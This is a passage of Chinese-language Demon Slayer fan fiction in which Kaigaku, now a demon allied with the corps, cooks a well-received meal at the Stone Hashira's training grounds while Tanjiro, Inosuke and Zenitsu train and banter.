果然搞不懂,他们这种兄弟相处的模式。
“权八郎。”
“……是炭治郎。”
“门逸的大哥,不是好人。”
“是善逸,狯岳先生也不是人好不好这么简单……”
“也好像,不是坏人。”
“……对。”
“是个奇怪的人。”
“大概。”
“为什么推动石头就能当善一的大哥?如果我推动了石头,善一就能当我小弟吗?”
“不是,是狯岳先生同意当善逸的大哥。”
“我虽然输了,但我不同意当凯岳的小弟!”
“……是狯岳。要当狯岳先生小弟的也不是你。”
灶门炭治郎没法给狯岳下定义。
虽然狯岳倒霉遇到上弦一,为了活下去选择变成了鬼,和祢豆子的情况不太一样……但人面临要么死要么变成鬼这样的选择,实在谈不上什么自愿,当然,也谈不上无辜——就像天音夫人说过的那样,猎鬼人不能赌自己会是那个不吃人的特例。
就像尹之助通过直觉判断出来的一样,狯岳他……没那么好,但也没那么坏。
比较起来,他自己才是运气比较好的那一个,一直以来得到了许多人的帮助,才侥幸没有走错路。
未来的事情,谁也说不准。但至少现在,此刻,狯岳还是他们的同伴,他相信他们正一起走在正确的道路上。
何况。
善逸的想法才是最重要的。
狯岳毕竟是善逸的师兄,不是他师兄。这么说起来,善逸也蛮奇怪的,虽然他也有师兄,但他可没有把义勇先生当大哥的想法。尹之助倒是挺想当别人大哥,但他就是想当山大王,并不想照顾小弟。
……管他呢。
作为善逸的朋友,他只要想办法帮善逸达成所愿就行了,至于善逸的心愿为什么这么奇怪,不是重点。
“还是先继续训练吧。”灶门炭治郎活动手脚,把注意力重新集中在面前的岩石上,“尹之助,我们一起加油!”
嘴平尹之助也迅速把刚才发生的事情抛在脑后:“噢!”
至于我妻善逸,人都已经被小伙伴给架起来了,当然要拼命完成训练才行。
狐狸蹲坐在岩石顶上,眯着眼睛看小伙子拼尽全力,汗流浃背,不得寸进。
“好逊。”狐狸眯起眼睛。“善逸,你的动作不协调,这样子是推不动岩石的。”
我妻善逸:“……”
我妻善逸:“我、我知道!”他心虚地补充,“就是一时走神了而已!下一次一定可以!”
“……才说了只管自己想要什么,结果不还是拼命想让狯岳满意吗?”
“反、反正我也必须完成岩柱的训练要求才行啊!”
不过这一点,狯岳也一样。
才说了想要拒绝的权利,转眼却同意灶门炭治郎的提议,把我妻善逸钓在这里辛苦训练。
这不是把决定权让出,交给了我妻善逸吗?
他到底是希望看到善逸成功,还是希望看到善逸失败啊?
“……钓你个头。”对此,狯岳翻了个白眼。“反正那废物绝对做不到。认清现实对他又没坏处。”
狐狸评价:“坏心眼。”
狯岳没有否认。
队士们都在外训练,他一个人坐在屋檐下,看着太阳照过门口,不断升高。偶然有新人报道,奇怪地看了他一眼,就匆匆放下行礼、投入训练当中。
因为拟态成了人类的缘故,许多队士虽然知道他是鬼,却并没有真正认识到,自己正和鬼待在一起。
把鬼和人放在一起,就像把老虎和兔子关在同一个笼子里一样。而眼前这群兔子们似乎一点也不怕被老虎吃掉。
尤其这个村田。
他对这家伙有点印象,是曾一起出过任务的人。这样的人本该更清楚他的实力才对,却一副自来熟的样子靠过来,双手合十,请求他帮忙处理今天的饭菜。
“本来今天是轮到我来做饭,但我实在不想继续被新人把训练进度甩在后面,想要抓紧时间加练,就只能来拜托你了。”
“……你有朋友的吧?”
“可是你最闲啊。”
狯岳:“……”
狯岳:“不是,我是你朋友?”
“难道不是吗?”村田笑眯眯地说,“我们可是一起出过任务的好朋友。而且,你那次分给我的饭团很好吃,我无论如何都想再吃一次呢,求求你啦。”
……既然这家伙连“求”这个字都说出来了。
结果就是,狯岳出现在岩柱府的厨房里,系上围裙,拿起菜刀,挑选食材,开始为所有人准备饭菜。
因为不能去阳光下搬柴烧火,还吸引了生怕他把厨房烧了的不死川玄弥帮忙。
动手前的不死川玄弥:看在大哥的份上,大不了他来救场。
动手后的不死川玄弥:你这浓眉大眼的家伙,居然真的会做饭?!
只见狯岳认认真真把鱼切开,掏出内脏剔除骨头,把鱼肉整齐地码放一边。
更远的位置是一堆葱,不同小碗里盛着不同的调味料。一个锅里炖着蘑菇,另一个锅里卤着熊掌。鸡蛋豆腐已经煎好,正焖在火炉上保持热度。
不死川玄弥用敬畏的眼神看着狯岳:“你居然这么会做饭?!”
“……又不是很难的事情。”狯岳板着脸回答,“喂,花椒在哪里?”
“厨房里没有这种配料……对不起,非常抱歉!”
“……没有就没有,你干嘛要道歉?”
“因为觉得条件简陋,实在辜负了你的手艺。”
狯岳:^=_=^。
狯岳:“只是老师不太会做饭,我接手后自己瞎琢磨出来的东西而已。”
“可我就琢磨不出来。”不死川玄弥一副往事不堪回首的模样:“悲鸣屿先生只会做素斋,还不怎么放调味料,我原本以为这也是苦修的一部分……直到医生说我营养不良,悲鸣屿先生才隔三差五带我到山下下馆子,然后。”
接下来的话他没有说出口,但狯岳已经猜到了:
悲鸣屿行冥也不
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太会做饭。
又因为住在山里、经常苦修,不方便让隐帮忙,平常只能靠自己。
“所以,狯岳先生真的很厉害,”不死川玄弥诚恳地说,“虽然这么说很不好意思,但到善逸通过训练为止,接下来的饭菜也可以拜托你吗?”
狯岳……狯岳他耳朵红了。
他没有明示答应还是不答应,只粗声粗气地说:“姜用完了。”
“我去拿!”
不死川玄弥小跑着出了厨房,但随后递给他生姜的,是一只更大、更有力的手。
悲鸣屿行冥。
狯岳的动作停滞了一瞬,然后把生姜从他手上默不作声地拿过来。
大部分时间,还是不死川玄弥给他打下手,悲鸣屿行冥像个雕像一样守在边上,肉眼可见对饭菜的期待。
而等到饭点的时候,蹲守的就不止是悲鸣屿行冥,还有一群饥肠辘辘的汉子。
……一个个的,眼睛都亮得极为可疑,把转过身的狯岳吓得倒退了一步。
这群人异口同声:
“好香!”“可以开饭了吗?”“我口水都快要流出来了!”“我口水已经流出来了!”
狯岳:^=_=^。
狯岳:“可、可以。”
接下来发生的一切,完全超出了他的预计——
只是做了一顿还算过得去的饭菜而已,为什么这些人表现出这么恶心的态度啊?!
“我早就告诉过你们!”村田眉飞色舞地向朋友们炫耀,“狯岳做饭有一手!这下服气了吧!”
的确服气,换了他们,哪怕知道这事儿,都不敢和狯岳搭话呢。
连之前看狯岳不顺眼的家伙,都觍着脸凑过来,小声说了句“对不起”,然后大声说了句“再来一碗”!
“这种做法我是第一次吃到!狯岳先生真是天才!”灶门炭治郎夸个不停,“这个味道不错,那个口感也好特别!”
“好吃!好吃!好吃!”这是嘴平尹之助,“文逸,大哥真好!”
我妻善逸一把把筷子抓断,额角迸出青筋:“那是我大哥!”
连悲鸣屿行冥的气场都变得柔和许多,看的他鸡皮疙瘩都起来了。
只是口腹之欲得到一定程度的满足而已,有必要表现得这么夸张吗?
个人有个人的口味,哪怕在桃山上,只有三个人,他们三个的偏好都有细碎的差别。眼前这群人,不可能个个都觉得他做的饭好吃。
大约是因为之前吃的只有饭团和烤鱼,所以才这么捧场吧。一定是这样。等吃多了之后就会感到厌倦,就会开始挑刺。一定会这样。
这样想着,狯岳的心情诡异地恢复了平静,才感觉到心脏像鼓点一样骚动,口舌像沙漠一样干燥。他拿起手边的鱼汤,喝了一口,于是连胃肠都像麻绳一样扭曲起来了。
“啊——大哥,我好了,承蒙款待!”我妻善逸看了他一眼,几口扒完碗里的饭,从座位上弹起, “我们回房间午休吧!”
狯岳:???
午休是什么玩意?
就算这废物要去午休,关他什么事儿?
“大哥,变小一点嘛!”我妻善逸自然地向他伸出手,展开那件黄色的羽织,“我训练太累了,太大了抱不动。”
……走廊上那点太阳,走位灵活一点就能避开。
但反正他也不想在这儿继续待下去了,所以。
就这样,随他去吧。